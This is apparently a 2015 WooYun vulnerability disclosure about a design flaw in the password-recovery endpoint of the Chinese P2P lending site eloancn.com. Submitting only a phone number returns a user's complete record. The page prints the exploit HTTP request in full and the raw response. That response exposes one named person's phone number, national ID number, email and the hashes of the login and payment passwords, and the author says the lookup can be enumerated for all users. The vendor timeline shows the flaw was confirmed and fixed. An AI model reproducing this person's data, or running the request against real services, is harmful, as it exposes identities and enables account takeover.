当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0118615

漏洞标题:p2p之翼龙贷网设计缺陷泄露所有用户的手机号码/邮箱/身份证号码/姓名/登录密码/支付密码等

相关厂商:eloancn.com

漏洞作者: BMa

提交时间:2015-06-06 16:53

修复时间:2015-07-23 19:02

公开时间:2015-07-23 19:02

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-06: 细节已通知厂商并且等待厂商处理中
2015-06-08: 厂商已经确认,细节仅向厂商公开
2015-06-18: 细节向核心白帽子及相关领域专家公开
2015-06-28: 细节向普通白帽子公开
2015-07-08: 细节向实习白帽子公开
2015-07-23: 细节向公众公开

简要描述:

p2p之翼龙贷网设计缺陷泄露所有用户的手机号码/邮箱/身份证号码/姓名/登录密码/支付密码等
还是相当危险的

详细说明:

问题发生在找回密码这里

1.jpg


找回密码,输入手机号码,分析包和返回信息

2.jpg


POST /memberFindPwd.action?te=1433572794000 HTTP/1.1
Host: www.eloancn.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.eloancn.com/page/commons/cas/login.jsp?validated=true&service=http%3A%2F%2Fwww.eloancn.com%2Fpage%2Fcommons%2Fcas%2FcloseLoginBox.jsp
Content-Length: 21
Cookie: JSESSIONID=0D43A07C0794874FC9319E6087160D26; www_eloancn=www1502-eloancn; _ga=GA1.2.523803206.1433572172; Hm_lvt_175c73cd488e8c2324d7bb67adbb9370=1433572172; Hm_lpvt_175c73cd488e8c2324d7bb67adbb9370=1433572780; CNZZDATA5466078=cnzz_eid%3D1022955102-1433569040-%26ntime%3D1433569040; sgsa_id=eloancn.com|1433572175650596; sgsa_vt_221529_227837=1433572780220; IESESSION=alive; _AQB_CloudId=69c171ac-fdd0-40f5-bd6c-5d1980d15a93; pgv_pvi=2069880832; pgv_si=s9768357888; JMSSESIONID=6D7EB37453EDE5C2-347B5546-6EF6-45AB-AAC2-6D0821331F05; _gat=1
X-Forwarded-For: 8.8.8.8
Connection: close
Pragma: no-cache
Cache-Control: no-cache
loginName=13682457481


返回内容:

3.jpg


{"member":{"accountName":"136****7481","activecode":null,"address":null,"age":"0","ageRange":"不详","area":"","authOutgo":0.0,"badLoanCAndD":0.0,"balance":"16.33","balance2":16.33,"balanceStr":"16.33","borrowPoundage":0.0,"borrowamount":"0","carGuarantee":null,"cdate":1425364669,"cityid":null,"cityname":null,"countyid":null,"countyname":null,"coverEmail":"u*****@elo.com","coverIdcard":"441******30","coverMobile":"136******81","coverMobile1":"1368245****","crealName":null,"creditScore":null,"creditScoreStr":"0","currentIp":null,"currentMID":null,"dueinMoney":"0","dueinMoneyStr":"0.00","email":"[email protected]","emailOrMobile":"蔡启忠","encodeChar":null,"encodePassworType":1,"encodePayChar":null,"finalLevel":"HR","formatAuthOutgo":"0.00","formatBalance":"16.33","formatBorrowPoundage":"0.00","formatFreezingMoney":"0","formatLendAmount":"0.00","formatLendPoundage":"0.00","formatLoanInsureAmount":"0.00","formatLoanInterest":"0","formatLoanMoney":"0","formatRechargeIncome":"0.00","formatRepayInterest":"0.00","formatRepayMoney":"0.00","formatWithdrawOutgo":"0.00","franchiseecode":null,"freezingMoney":"0","freezingMoney2":0.0,"freezingMoneyStr":"0.00","gendar":null,"greets":null,"houseGuarantee":null,"id":550412,"idcard":"441522199611208230","inUseTotalBorrowMoney":"0","instationAmount":"0.00","interestRate":null,"ip":null,"isFirst":"true","isFirstWut":null,"isThreeLead":null,"lastlogindate":null,"lendPoundage":0.0,"lendPoundageStr":"0.00","listphoto":null,"loanInsureAmount":0.0,"loanInterest":0.0,"loanInterestStr":"0.00","loanMoney":0.0,"loanMoneyStr":"0.00","loginIp":"","managerAccountMoney":null,"mobile":"13682457481","mobileCode":null,"netEarningsInterest":"0","netEarningsInterest2":0.0,"netEarningsInterestStr":"0.00","nextRepayDate":"无还款记录","password":"d50e254cdb07fd5e5ef986a4279d6586","payPWD":null,"paypassword":"b712133ca7e540c7f42b0a16adec0a13","peopleGuarantee":null,"photo":null,"provinceid":null,"provincename":null,"pwdlevel":null,"realQuota":null,"realQuotaStr":"0","realname":"蔡启忠","realname2":"*启忠","rechargeIncome":null,"recommendURL":"NZ690a18ENtdLMjkxyyW%2BQ%3D%3D","regiestType":10,"repayInterest":null,"repayMoney":null,"role":1,"safeLevel":null,"score":0,"sessionid":"6D7EB37453EDE5C2-F46DD86F-DDA9-49FE-BC13-13E6710AE7C3","setQuestion":false,"signcode":null,"singUser":"BDJJ_SIGN","status":1,"stayStillMoney":"0","strDate":"2015-03-03 14:37","strDate1":"20141104113520","strMobile":"XC7z4n2c7HHnbVMcELYInA==","strRole":"放款人","strStatus":"已激活","strType":"普通会员","strlastlogindate":"欢迎您首次登录","tenderFlag":false,"tenderfinalLevel":"HR","total":"16.33","total2":0.0,"total2Str":"0.00","totalBorrowMoney":"0","totalLendPrincipal":"0","type":1,"userArea":"","userDevRecords":null,"userTotal":"16.33","uuid":null,"waitMoney":0.0,"waitMoneyStr":"0.00","waitTotalMoney":0.0,"waitTotalMoneyStr":"0.00","weiEarRate":0.0,"withdrawOutgo":null,"wmpsStatistics":null,"zqgmze":"0","zqzrze":"0"},"tip":null}


用户的手机号码/身份证号码/姓名/登录密码/支付密码
再看看其他用户的:

4.jpg


5.jpg


遍历一下:

6.jpg


漏洞证明:

修复方案:

还是不要忽略的好

版权声明:转载请注明来源 BMa@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-06-08 19:00

厂商回复:

感谢 @BMa 我们会忙修复

最新状态:

2015-06-10:已经修复,非常感谢作者。